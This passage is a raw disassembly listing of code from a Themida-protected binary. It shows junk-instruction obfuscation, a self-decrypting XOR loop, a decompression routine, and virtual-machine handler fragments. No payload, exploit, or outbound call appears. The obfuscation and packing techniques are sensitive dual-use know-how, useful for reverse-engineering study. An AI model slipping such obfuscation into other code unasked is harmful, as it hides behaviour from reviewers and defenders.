dx, 3C36h nop mov bx, ax push eax push eax call sub_54E3D4 cmp al, 5Bh test edi, esi dec ebx cmc mov ecx, 1F6C1A3Ch and cl, [edx] ; =============== S U B R O U T I N E ======================================= sub_54E3D4 proc near ; CODE XREF: Themida_:0054E3C2p mov edx, 42B19335h pop edx pop ebx nop push 0 push esi call sub_54E3E7 and [esi-3Dh], bl sub_54E3D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54E3E7 proc near ; CODE XREF: sub_54E3D4+Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_54E3E7 endp ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- mov [ebp+6122CB1h], esi loc_54E3FE: ; CODE XREF: Themida_:0054E378j push eax push esi lea edi, [ebp+612540Ah] lea ecx, [ebp+61279FDh] mov eax, 748323BCh sub ecx, edi loc_54E413: ; CODE XREF: Themida_:0054E419j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_54E413 pop esi pop eax cmp dword ptr [ebp+6120379h], 0 jz short loc_54E42C mov ecx, [ebp+6122DD9h] loc_54E42C: ; CODE XREF: Themida_:0054E424j xor ecx, ecx mov eax, 0 or eax, eax jz loc_54E4E3 cmp dword ptr [ebp+6120DB5h], 0 jz short loc_54E44A call dword ptr [ebp+61210C9h] loc_54E44A: ; CODE XREF: Themida_:0054E442j mov eax, 0 or eax, eax jnz short loc_54E45C cmp dword ptr [ebp+6124D3Bh], 1 jz short loc_54E465 loc_54E45C: ; CODE XREF: Themida_:0054E451j cmp dword ptr [ebp+6124D3Bh], 2 jnz short loc_54E473 loc_54E465: ; CODE XREF: Themida_:0054E45Aj mov esi, [ebp+6124D33h] lea eax, [ebp+614A7DFh] call eax loc_54E473: ; CODE XREF: Themida_:0054E463j cmp dword ptr [ebp+6121D65h], 0 jz short loc_54E482 call dword ptr [ebp+6121FEDh] loc_54E482: ; CODE XREF: Themida_:0054E47Aj lea eax, [ebp+6124350h] call eax cmp dword ptr [ebp+6121299h], 2 jnz short loc_54E4C2 mov esp, [ebp+6120469h] mov eax, [ebp+6120379h] mov [esp], eax mov dword ptr [ebp+6121229h], 1 mov esi, [ebp+6124D37h] mov ebp, [ebp+61228A5h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_54E4C2: ; CODE XREF: Themida_:0054E491j mov dword ptr [ebp+6121229h], 1 mov esp, [ebp+6120469h] mov esi, [ebp+6120EF5h] mov ebp, [ebp+61228A5h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_54E4E3: ; CODE XREF: Themida_:0054E435j cmp dword ptr [ebp+6121D65h], 0 jz short loc_54E4FB cmp dword ptr [ebp+6121FEDh], 0 jz short loc_54E4FB call dword ptr [ebp+6121FEDh] loc_54E4FB: ; CODE XREF: Themida_:0054E4EAj ; Themida_:0054E4F3j mov esi, [ebp+6124D33h] retn ; --------------------------------------------------------------------------- mov edx, ecx sbb edx, 977759Dh mov edx, 0 push ecx call sub_54E51E stc mov byte ptr [ebp+3A88D474h], 74h pop ebx ; =============== S U B R O U T I N E ======================================= sub_54E51E proc near ; CODE XREF: Themida_:0054E510p mov dx, di pop ebx pop ebx mov ebx, eax push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_54E535 ; --------------------------------------------------------------------------- loc_54E533: ; CODE XREF: sub_54E51E+1Aj inc eax inc edi loc_54E535: ; CODE XREF: sub_54E51E+13j cmp byte ptr [edi], 0 jnz short loc_54E533 xor ecx, ecx mov edi, [ebp+8] jmp short loc_54E564 ; --------------------------------------------------------------------------- loc_54E541: ; CODE XREF: sub_54E51E+48j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_54E559 ; --------------------------------------------------------------------------- loc_54E556: ; CODE XREF: sub_54E51E+3Ej mul ebx dec esi loc_54E559: ; CODE XREF: sub_54E51E+36j cmp esi, 0 ja short loc_54E556 pop ebx add ecx, eax pop eax inc edi dec eax loc_54E564: ; CODE XREF: sub_54E51E+21j or eax, eax jnz short loc_54E541 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 sub_54E51E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov bx, 2923h clc loc_54E577: ; CODE XREF: Themida_:0054B7A4j mov eax, ecx jmp loc_54E72B ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_54E58A: ; CODE XREF: Themida_:loc_54E5A2j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_54E595: ; CODE XREF: Themida_:0054E620j ; Themida_:0054E688j ... add dl, dl jnz loc_54E5A2 mov dl, [esi] inc esi adc dl, dl loc_54E5A2: ; CODE XREF: Themida_:0054E597j jnb loc_54E58A add dl, dl jnz loc_54E5B5 mov dl, [esi] inc esi adc dl, dl loc_54E5B5: ; CODE XREF: Themida_:0054E5AAj jnb loc_54E625 xor eax, eax add dl, dl jnz loc_54E5CA mov dl, [esi] inc esi adc dl, dl loc_54E5CA: ; CODE XREF: Themida_:0054E5BFj jnb loc_54E6FA add dl, dl jnz loc_54E5DD mov dl, [esi] inc esi adc dl, dl loc_54E5DD: ; CODE XREF: Themida_:0054E5D2j adc eax, eax add dl, dl jnz loc_54E5EC mov dl, [esi] inc esi adc dl, dl loc_54E5EC: ; CODE XREF: Themida_:0054E5E1j adc eax, eax add dl, dl jnz loc_54E5FB mov dl, [esi] inc esi adc dl, dl loc_54E5FB: ; CODE XREF: Themida_:0054E5F0j adc eax, eax add dl, dl jnz loc_54E60A mov dl, [esi] inc esi adc dl, dl loc_54E60A: ; CODE XREF: Themida_:0054E5FFj adc eax, eax jz loc_54E618 push edi sub edi, eax mov al, [edi] pop edi loc_54E618: ; CODE XREF: Themida_:0054E60Cj mov [edi], al inc edi mov ebx, 2 jmp loc_54E595 ; --------------------------------------------------------------------------- loc_54E625: ; CODE XREF: Themida_:loc_54E5B5j mov eax, 1 loc_54E62A: ; CODE XREF: Themida_:loc_54E646j add dl, dl jnz loc_54E637 mov dl, [esi] inc esi adc dl, dl loc_54E637: ; CODE XREF: Themida_:0054E62Cj adc eax, eax add dl, dl jnz loc_54E646 mov dl, [esi] inc esi adc dl, dl loc_54E646: ; CODE XREF: Themida_:0054E63Bj jb loc_54E62A sub eax, ebx mov ebx, 1 jnz loc_54E68D mov ecx, 1 loc_54E65E: ; CODE XREF: Themida_:loc_54E67Aj add dl, dl jnz loc_54E66B mov dl, [esi] inc esi adc dl, dl loc_54E66B: ; CODE XREF: Themida_:0054E660j adc ecx, ecx add dl, dl jnz loc_54E67A mov dl, [esi] inc esi adc dl, dl loc_54E67A: ; CODE XREF: Themida_:0054E66Fj jb loc_54E65E push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_54E595 ; --------------------------------------------------------------------------- loc_54E68D: ; CODE XREF: Themida_:0054E653j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_54E69B: ; CODE XREF: Themida_:loc_54E6B7j add dl, dl jnz loc_54E6A8 mov dl, [esi] inc esi adc dl, dl loc_54E6A8: ; CODE XREF: Themida_:0054E69Dj adc ecx, ecx add dl, dl jnz loc_54E6B7 mov dl, [esi] inc esi adc dl, dl loc_54E6B7: ; CODE XREF: Themida_:0054E6ACj jb loc_54E69B cmp eax, 7D00h jnb loc_54E6EA cmp eax, 500h jb loc_54E6E1 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54E595 ; --------------------------------------------------------------------------- loc_54E6E1: ; CODE XREF: Themida_:0054E6CDj cmp eax, 7Fh ja loc_54E6ED loc_54E6EA: ; CODE XREF: Themida_:0054E6C2j add ecx, 2 loc_54E6ED: ; CODE XREF: Themida_:0054E6E4j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54E595 ; --------------------------------------------------------------------------- loc_54E6FA: ; CODE XREF: Themida_:loc_54E5CAj mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_54E71F adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_54E595 ; --------------------------------------------------------------------------- loc_54E71F: ; CODE XREF: Themida_:0054E702j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_54E72B: ; CODE XREF: Themida_:0054E579j mov edx, 929h jmp loc_5707CB ; --------------------------------------------------------------------------- align 4 dd 2 dup(5C498D00h), 5C002800h, 12FF6C02h, 5C2E8300h, 5C003F00h dd 20202h, 200h, 2 dup(100h), 426A1600h, 0FAh, 4 dup(0) dd 54EE3900h, 55678600h, 55800400h, 55485B00h, 5529E100h dd 559A2300h, 55042500h, 552BCB00h, 55232600h, 55241900h dd 55533C00h, 5516DC00h, 551AD400h, 55637100h, 559D6C00h dd 5550F800h, 559F4100h, 54F55A00h, 55789200h, 559BB700h dd 54FFB600h, 55066B00h, 557E7A00h, 54EAE600h, 5560B700h dd 55911900h, 5523E200h, 5546DD00h, 55496800h, 55710100h dd 5598C900h, 552FE600h, 5505B600h, 54EDA900h, 558DBF00h dd 55179100h, 55372B00h, 55B02D00h, 55195100h, 55935300h dd 54EEE800h, 5592CD00h, 55065600h, 55349F00h, 54F2EA00h dd 5572C500h, 559FFF00h, 5511C300h, 5545F900h, 5577C500h dd 5575C300h, 55A8CA00h, 554CB200h, 5585BC00h, 5568D600h dd 55067C00h, 557A7700h, 559D5200h, 55638200h, 552CEF00h dd 553DCD00h, 54FE0000h, 5506FB00h, 5521BC00h, 55468900h dd 54F19200h, 558B2200h, 55828D00h, 55011E00h, 55773A00h dd 55150C00h, 558D6700h, 54FE6F00h, 55A53500h, 5574AE00h dd 55274600h, 559D4600h, 54F2CA00h, 553F1900h, 558F0300h dd 5524C300h, 556F0D00h, 5521A500h, 55A0E500h, 552A8600h dd 54F34B00h, 55B17400h, 55A1A200h, 5571B900h, 55745300h dd 551C6D00h, 55A8BC00h, 55663700h, 55A1E700h, 556A7900h dd 551C7800h, 55025500h, 552E1400h, 55B1C100h, 557BA000h dd 55295B00h, 5571DF00h, 55101900h, 5577F800h, 555B8100h dd 557ABF00h, 55142400h, 55724500h, 55053300h, 54F53700h dd 554DF000h, 55850000h, 552D2600h, 5573F000h, 553D3200h dd 5567E600h, 55A3F800h, 55012C00h, 55ACD100h, 54F47700h dd 55930D00h, 55696C00h, 55AFEC00h, 554F2200h, 553E1300h dd 54FA6800h, 551D2400h, 55134600h, 557AF400h, 55635400h dd 55174C00h, 557F8100h, 5544F500h, 558E7F00h, 5532E500h dd 552AF100h, 55010900h, 5552D600h, 551B9000h, 55484000h dd 550EDF00h, 55971700h, 557A3300h, 559E8C00h, 55AEBD00h dd 55878E00h, 5557F300h, 54EC6A00h, 557B1D00h, 55249600h dd 556D0700h, 557CBC00h, 557BB200h, 55809200h, 54FC6B00h dd 54FEE600h, 55871100h, 5505BD00h, 55A68C00h, 55362500h dd 55496000h, 5526FD00h, 55ADCE00h, 5526D200h, 55292500h dd 55B1B900h, 54FE5E00h db 0 ; --------------------------------------------------------------------------- loc_54EA15: ; CODE XREF: Themida_:00570841j ; Themida_:0057084Bj ... pusha pushf cld call $+5 pop edi sub edi, 6128007h mov eax, edi add edi, 6127D1Fh cmp eax, [edi+2Ch] jnz short loc_54EA33 jmp short loc_54EA46 ; --------------------------------------------------------------------------- loc_54EA33: ; CODE XREF: Themida_:0054EA2Fj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54EA42 ; --------------------------------------------------------------------------- loc_54EA3D: ; CODE XREF: Themida_:0054EA44j add [edi+ecx*4+40h], eax dec ecx loc_54EA42: ; CODE XREF: Themida_:0054EA3Bj or ecx, ecx jnz short loc_54EA3D loc_54EA46: ; CODE XREF: Themida_:0054EA31j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54EA53: ; CODE XREF: Themida_:0054EA5Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54EA53 loc_54EA5C: ; CODE XREF: Themida_:0054EC65j ; Themida_:loc_54EE69j ... lodsb sub esp, 4 mov [esp], edx mov dh, 87h add al, 8Dh add al, 7Ch sub al, dh sub al, 7Ch sub al, 8Dh pop edx sub al, 0ADh sub al, bl jmp loc_558580 ; --------------------------------------------------------------------------- loc_54EA79: ; CODE XREF: Themida_:00557A97j add [ecx], ebp pop ecx mov ebp, [esp] push 6C41h jmp loc_555D5D ; --------------------------------------------------------------------------- loc_54EA89: ; CODE XREF: Themida_:00559728j sub eax, 4 xchg eax, [esp] pop esp jmp loc_554544 ; --------------------------------------------------------------------------- loc_54EA95: ; CODE XREF: Themida_:0055A491j mov ecx, 5A661F9Dh or ecx, 743D7F3Bh sub ecx, 12F81717h jmp loc_5535C4 ; --------------------------------------------------------------------------- loc_54EAAB: ; CODE XREF: Themida_:0055A048j mov edi, 7BFD7BECh xchg eax, edi not eax xchg eax, edi not edi and edi, 390B5AC9h xor edi, 39095ACCh add ebx, edi mov edi, [esp] add esp, 4 jmp loc_55819D ; --------------------------------------------------------------------------- loc_54EAD2: ; CODE XREF: Themida_:00557EA5j sub ebx, ecx pop ecx pop ecx xor ebx, [esp] jmp loc_550E5B ; --------------------------------------------------------------------------- loc_54EADE: ; CODE XREF: Themida_:0054F656j push dword ptr [esp] jmp loc_552D90 ; --------------------------------------------------------------------------- mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_556E05 ; --------------------------------------------------------------------------- loc_54EB00: ; CODE XREF: Themida_:00552484j add bl, ah pop eax ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- fcomp dword ptr [ebx+5Ah] add al, 0E9h sub al, cl jmp loc_553E69 ; --------------------------------------------------------------------------- loc_54EB10: ; CODE XREF: Themida_:00550C54j sub esi, 54551A07h add esi, eax add esi, 54551A07h add esi, 6DF33771h jmp loc_55307E ; --------------------------------------------------------------------------- loc_54EB29: ; CODE XREF: Themida_:00553033j push esp pop edi push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_55169B ; --------------------------------------------------------------------------- loc_54EB39: ; CODE XREF: Themida_:00559E2Aj pop ecx pop ecx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], eax mov al, 0Eh add al, 49h xor al, bh xor bh, al xor al, bh neg bh xchg bh, al shr al, 5 or al, 81h push eax sub byte ptr [esp], 0FFh jmp loc_5533D4 ; --------------------------------------------------------------------------- loc_54EB67: ; CODE XREF: Themida_:005542B4j push ecx mov ecx, 21A6153Fh neg ecx xor ecx, 2E705900h jmp loc_5546A0 ; --------------------------------------------------------------------------- loc_54EB7A: ; CODE XREF: Themida_:00557F3Ej pop edx mov ebx, [esp] jmp loc_555DA0 ; --------------------------------------------------------------------------- loc_54EB83: ; CODE XREF: Themida_:00552F47j add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push edx push esp mov edx, [esp] add esp, 4 jmp loc_55922D ; --------------------------------------------------------------------------- loc_54EBBA: ; CODE XREF: Themida_:00557FB2j push dword ptr [esp+4] jmp loc_557EBD ; --------------------------------------------------------------------------- loc_54EBC3: ; CODE XREF: Themida_:005593D0j mov [esp], ecx mov ecx, 41E9914h add edi, 28132ED0h jmp loc_55A148 ; --------------------------------------------------------------------------- loc_54EBD6: ; CODE XREF: Themida_:00554B15j add eax, 4 push eax push dword ptr [esp+4] jmp loc_54F4B4 ; --------------------------------------------------------------------------- loc_54EBE3: ; CODE XREF: Themida_:00558C05j pop eax sub al, 0BCh add al, cl push ecx jmp loc_550001 ; --------------------------------------------------------------------------- loc_54EBEE: ; CODE XREF: Themida_:0055A7C4j pop esp sub ecx, edi mov edi, [esp] add esp, 4 push edx mov edx, 2C97079Eh sub ecx, edx pop edx xchg ebx, ecx dec ebx jmp loc_554F3D ; --------------------------------------------------------------------------- loc_54EC08: ; CODE XREF: Themida_:0055AC7Bj mov edi, 37F556CAh jmp loc_55635D ; --------------------------------------------------------------------------- loc_54EC12: ; CODE XREF: Themida_:0055545Dj push ecx jmp loc_55827B ; --------------------------------------------------------------------------- loc_54EC18: ; CODE XREF: Themida_:00551B14j mov ax, [esp] push 39BAh mov [esp], edi push esp mov edi, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_559B98 ; --------------------------------------------------------------------------- loc_54EC42: ; CODE XREF: Themida_:00558F58j add ebp, ebx jmp loc_55AFB5 ; --------------------------------------------------------------------------- loc_54EC49: ; CODE XREF: Themida_:00559AAEj dec al inc al sub al, 0ACh sub al, 0F3h sub bl, al pop eax add bl, 63h push ecx push edx mov edx, 10B21218h inc edx jmp loc_557FEF ; --------------------------------------------------------------------------- loc_54EC64: ; CODE XREF: Themida_:00553EF8j pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esp push eax jmp loc_555767 ; --------------------------------------------------------------------------- loc_54EC83: ; CODE XREF: Themida_:00551041j mov esi, 4 add ecx, esi jmp loc_54FE44 ; --------------------------------------------------------------------------- loc_54EC8F: ; CODE XREF: Themida_:00550E69j push ebx jmp loc_552AC9 ; --------------------------------------------------------------------------- loc_54EC95: ; CODE XREF: Themida_:00551E3Dj mov eax, [esp] add esp, 4 jmp loc_54F0CD ; --------------------------------------------------------------------------- loc_54ECA3: ; CODE XREF: Themida_:00553B96j sub eax, 6FD57C29h sub eax, edi add eax, 6FD57C29h jmp loc_550291 ; --------------------------------------------------------------------------- loc_54ECB4: ; CODE XREF: Themida_:005549B1j inc dl jmp loc_5507AA ; --------------------------------------------------------------------------- loc_54ECBB: ; CODE XREF: Themida_:00556DC8j mov ebx, 11095B11h jmp loc_5587FA ; --------------------------------------------------------------------------- loc_54ECC5: ; CODE XREF: Themida_:00558B3Ej mov edx, 2242131Eh and edi, edx jmp loc_54EFB0 ; --------------------------------------------------------------------------- loc_54ECD1: ; CODE XREF: Themida_:0055A511j pop edx sub edi, 4 xchg edi, [esp] pop esp jmp loc_552F11 ; --------------------------------------------------------------------------- loc_54ECE1: ; CODE XREF: Themida_:005567C2j add edi, 40689B1Bh jmp loc_5507CB ; --------------------------------------------------------------------------- loc_54ECEC: ; CODE XREF: Themida_:005531B8j shl edx, 1 sub esp, 4 jmp loc_559F01 ; --------------------------------------------------------------------------- loc_54ECF6: ; CODE XREF: Themida_:00550FB4j pop ebp add esp, 4 jmp loc_55315D ; --------------------------------------------------------------------------- loc_54ECFF: ; CODE XREF: Themida_:005532A4j mov ebp, 2A35CEECh sub ebp, edx pop edx sub edi, ebp pop ebp add eax, edi jmp loc_557EEE ; --------------------------------------------------------------------------- loc_54ED11: ; CODE XREF: Themida_:005519A0j pop eax inc eax shr eax, 3 xor eax, 64F02EBh push eax jmp loc_5589BB ; --------------------------------------------------------------------------- loc_54ED21: ; CODE XREF: Themida_:00556C08j neg dh jmp loc_55859A ; --------------------------------------------------------------------------- loc_54ED28: ; CODE XREF: Themida_:005587EAj push eax mov eax, 68764DD6h or eax, 6DCD58F6h xor eax, 0E3C1FABh sub eax, 7E60C665h jmp loc_54FC3A ; --------------------------------------------------------------------------- loc_54ED42: ; CODE XREF: Themida_:00558CC3j pop edx mov eax, [esp] add esp, 4 jmp loc_55AF54 ; --------------------------------------------------------------------------- loc_54ED4E: ; CODE XREF: Themida_:005546CDj xor ebp, 433A57D4h inc ebp jmp loc_5509B8 ; --------------------------------------------------------------------------- loc_54ED5A: ; CODE XREF: Themida_:00556E35j pop edx sub ch, al pop eax jmp loc_556A65 ; --------------------------------------------------------------------------- loc_54ED63: ; CODE XREF: Themida_:00551EE1j xor edx, 68DA7C41h sub edx, 0FFFFFFFFh add edx, 3A2A3615h sub edx, 6FBF24B7h jmp loc_553A1F ; --------------------------------------------------------------------------- loc_54ED80: ; CODE XREF: Themida_:0055A581j xor ebx, eax mov eax, [esp] push eax mov eax, esp jmp loc_554B10 ; --------------------------------------------------------------------------- loc_54ED8D: ; CODE XREF: Themida_:00552776j sub esi, eax jmp loc_55458F ; --------------------------------------------------------------------------- loc_54ED94: ; CODE XREF: Themida_:005536BDj push esp jmp loc_552D5C ; --------------------------------------------------------------------------- loc_54ED9A: ; CODE XREF: Themida_:0054FA74j mov dh, 73h not dh sub dh, 0FFh sub dh, 0A2h jmp loc_5500BD ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp jmp loc_5559F3 ; --------------------------------------------------------------------------- loc_54EDBD: ; CODE XREF: Themida_:00559518j push dword ptr [edx] mov eax, [esp] add esp, 4 mov edx, [esp] jmp loc_55710E ; --------------------------------------------------------------------------- loc_54EDCD: ; CODE XREF: Themida_:0055294Bj mov [esp], eax mov eax, esp add eax, 4 push edx push ebx jmp loc_55375E ; --------------------------------------------------------------------------- loc_54EDDE: ; CODE XREF: Themida_:00555AB3j sub edi, edx pop edx xor edi, 7DEDA192h jmp loc_559E67 ; --------------------------------------------------------------------------- loc_54EDEC: ; CODE XREF: Themida_:00557372j mov eax, esp push edx jmp loc_55790A ; --------------------------------------------------------------------------- loc_54EDF4: ; CODE XREF: Themida_:0055A675j xchg esi, [esp] pop esp add ebx, 2C391F62h sub ebx, 402A2837h jmp loc_54F8EC ; --------------------------------------------------------------------------- loc_54EE09: ; CODE XREF: Themida_:00554A92j add dword ptr [esp+4], 47B93A20h add dword ptr [esp+4], 3DC9698Bh add dword ptr [esp+4], 38EB6BE5h sub [esp+4], eax push ebx mov ebx, 38EB6BE5h sub [esp+8], ebx jmp loc_5599EA ; --------------------------------------------------------------------------- loc_54EE34: ; CODE XREF: Themida_:005537D7j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_554ECD ; --------------------------------------------------------------------------- loc_54EE41: ; CODE XREF: Themida_:005590C3j xor [esp], edi xor edi, [esp] jmp loc_55AE47 ; --------------------------------------------------------------------------- loc_54EE4C: ; CODE XREF: Themida_:005584C6j pop esi and ebx, 6827073Ah shl ebx, 5 sub ebx, 43D40542h push ecx jmp loc_55A945 ; --------------------------------------------------------------------------- loc_54EE62: ; CODE XREF: Themida_:0055287Ej xor edx, ebx jmp loc_5519F6 ; --------------------------------------------------------------------------- loc_54EE69: ; CODE XREF: Themida_:00550EE9j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54EE6E: ; CODE XREF: Themida_:005585F3j sub ecx, 142C4533h dec ecx or ecx, 67CD3ADBh not ecx xor ecx, 9000C520h jmp loc_552139 ; --------------------------------------------------------------------------- loc_54EE88: ; CODE XREF: Themida_:00554321j mov [esp], esi mov esi, 2 add edx, esi mov esi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx jmp loc_550374 ; --------------------------------------------------------------------------- loc_54EEA6: ; CODE XREF: Themida_:00554963j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54EEAB: ; CODE XREF: Themida_:00557596j push ebp push edi jmp loc_55277B ; --------------------------------------------------------------------------- loc_54EEB2: ; CODE XREF: Themida_:005584D3j pop eax add eax, 33544A89h jmp loc_5566FB ; --------------------------------------------------------------------------- loc_54EEBD: ; CODE XREF: Themida_:00556800j mov edi, ecx pop ecx jmp loc_558418 ; --------------------------------------------------------------------------- loc_54EEC5: ; CODE XREF: Themida_:00558C8Fj sub ecx, 0C1C2ABEh add ecx, edx push ebx mov ebx, 0C1C2ABEh jmp loc_553F3E ; --------------------------------------------------------------------------- loc_54EED8: ; CODE XREF: Themida_:00552920j add ebp, ecx pop ecx push edi jmp loc_553984 ; --------------------------------------------------------------------------- loc_54EEE1: ; CODE XREF: Themida_:00558FC8j mov ebx, esp jmp loc_5576A5 ; --------------------------------------------------------------------------- mov ax, [esp] push 4841h mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 add ebx, 4 sub esp, 4 mov [esp], esi mov esi, 2 sub ebx, 0C7F47E2h add ebx, esi add ebx, 0C7F47E2h pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_556B77 ; --------------------------------------------------------------------------- loc_54EF3B: ; CODE XREF: Themida_:00554EA8j sub edx, 1 push 35Ch mov [esp], ebx push ecx mov ecx, 165115CCh mov ebx, ecx pop ecx xor edx, ebx pop ebx jmp loc_55A0F6 ; --------------------------------------------------------------------------- loc_54EF5A: ; CODE XREF: Themida_:0054FC66j push esp pop eax push 0EC1h mov [esp], edi push 0BD16F06h pop edi push 0 jmp loc_555C05 ; --------------------------------------------------------------------------- loc_54EF74: ; CODE XREF: Themida_:005512C3j mov [esp], dx push 4BADh jmp loc_5590C8 ; --------------------------------------------------------------------------- loc_54EF82: ; CODE XREF: Themida_:0055B034j push edx mov edx, 550F220Ah add edx, 5AE66A14h xor edx, 0AFF58C1Ah add esi, edx pop edx push eax push ebx mov ebx, 6AE866DFh mov eax, ebx mov ebx, [esp] jmp loc_55AA9E ; --------------------------------------------------------------------------- loc_54EFA8: ; CODE XREF: Themida_:0055A1A8j add esp, 4 jmp loc_55954A ; --------------------------------------------------------------------------- loc_54EFB0: ; CODE XREF: Themida_:0054ECCCj pop edx jmp loc_54FADA ; --------------------------------------------------------------------------- loc_54EFB6: ; CODE XREF: Themida_:005547A6j sub ax, cx add ax, 5601h push edi mov di, 4C89h push eax mov ax, 7F53h sub ax, 281Dh jmp loc_555C42 ; --------------------------------------------------------------------------- loc_54EFD0: ; CODE XREF: Themida_:00551F1Dj sub ebp, 5CF84EB0h sub eax, ebp pop ebp sub eax, ebp add eax, 22D358D0h add eax, 7B4707F3h pop ebp sub eax, ebx add eax, 64615EFFh sub esp, 4 mov [esp], ecx mov ecx, 2F47684Dh sub eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5577D0 ; --------------------------------------------------------------------------- loc_54F011: ; CODE XREF: Themida_:005522E4j push dword ptr [esp] pop edi add esp, 4 jmp loc_5534D5 ; --------------------------------------------------------------------------- loc_54F01D: ; CODE XREF: Themida_:0054F156j xor [esp], ecx xor ecx, [esp] xor [esp], ecx not ecx xchg ecx, [esp] pop eax push edi push ebp mov ebp, 21F063FEh push edx push eax mov eax, 0E726CE2h inc eax inc eax jmp loc_553CC3 ; --------------------------------------------------------------------------- loc_54F041: ; CODE XREF: Themida_:00551292j push dword ptr [esp] jmp loc_54F6CA ; --------------------------------------------------------------------------- loc_54F049: ; CODE XREF: Themida_:00552E28j add ebp, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax mov eax, 2 add ebp, eax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] xchg ebp, [esp] jmp loc_5564DB ; --------------------------------------------------------------------------- loc_54F086: ; CODE XREF: Themida_:005559C9j add edx, 2BA70095h push ebp mov ebp, 62D9149Dh dec ebp inc ebp xor ebp, 7A060658h sub ebp, 18F45007h jmp loc_555D87 ; --------------------------------------------------------------------------- loc_54F0A5: ; CODE XREF: Themida_:0055A247j xchg edi, [esp] pop esp loc_54F0A9: ; CODE XREF: Themida_:0054F9E1j ; Themida_:0055AC9Fj push ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55177D ; --------------------------------------------------------------------------- loc_54F0BF: ; CODE XREF: Themida_:00553269j add edx, 4 add edx, 4 jmp loc_54F270 ; --------------------------------------------------------------------------- loc_54F0CD: ; CODE XREF: Themida_:0054EC9Ej push 2A22h mov [esp], esi mov esi, esp push 5DC7h jmp loc_5542D4 ; --------------------------------------------------------------------------- loc_54F0E1: ; CODE XREF: Themida_:00553FCFj add ebx, eax mov eax, [esp] add esp, 4 sub ebx, eax sub ebx, 4CC87BF9h push dword ptr [eax] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_54F0F8: ; CODE XREF: Themida_:0054F7F4j sub eax, edi add eax, 43913C22h pop edi jmp loc_556BF9 ; --------------------------------------------------------------------------- loc_54F105: ; CODE XREF: Themida_:005590EFj mov al, 67h add bl, al pop ax jmp loc_552055 ; --------------------------------------------------------------------------- loc_54F110: ; CODE XREF: Themida_:00557E23j pop ebp add ebx, ecx add ebx, 381F59F2h add ebx, 1D9A5AC8h mov [ebx], al mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_550BBC ; --------------------------------------------------------------------------- loc_54F138: ; CODE XREF: Themida_:0055A211j pop ecx jmp loc_558C0A ; --------------------------------------------------------------------------- loc_54F13E: ; CODE XREF: Themida_:0055AF1Bj add edx, ebx pop ebx sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_54F01D ; --------------------------------------------------------------------------- loc_54F15B: ; CODE XREF: Themida_:00554926j mov ecx, edi pop edi not ecx add ecx, 180C1971h add ebx, ecx pop ecx jmp loc_5582D5 ; --------------------------------------------------------------------------- loc_54F16E: ; CODE XREF: Themida_:00550920j push eax jmp loc_5583DF ; --------------------------------------------------------------------------- loc_54F174: ; CODE XREF: Themida_:00552AB4j xor dl, 87h jmp loc_556CFF ; --------------------------------------------------------------------------- loc_54F17C: ; CODE XREF: Themida_:0055A124j pop ecx jmp loc_556A3E ; --------------------------------------------------------------------------- loc_54F182: ; CODE XREF: Themida_:00557071j push esp mov edi, [esp] add esp, 4 push ecx jmp loc_55ADDA ; 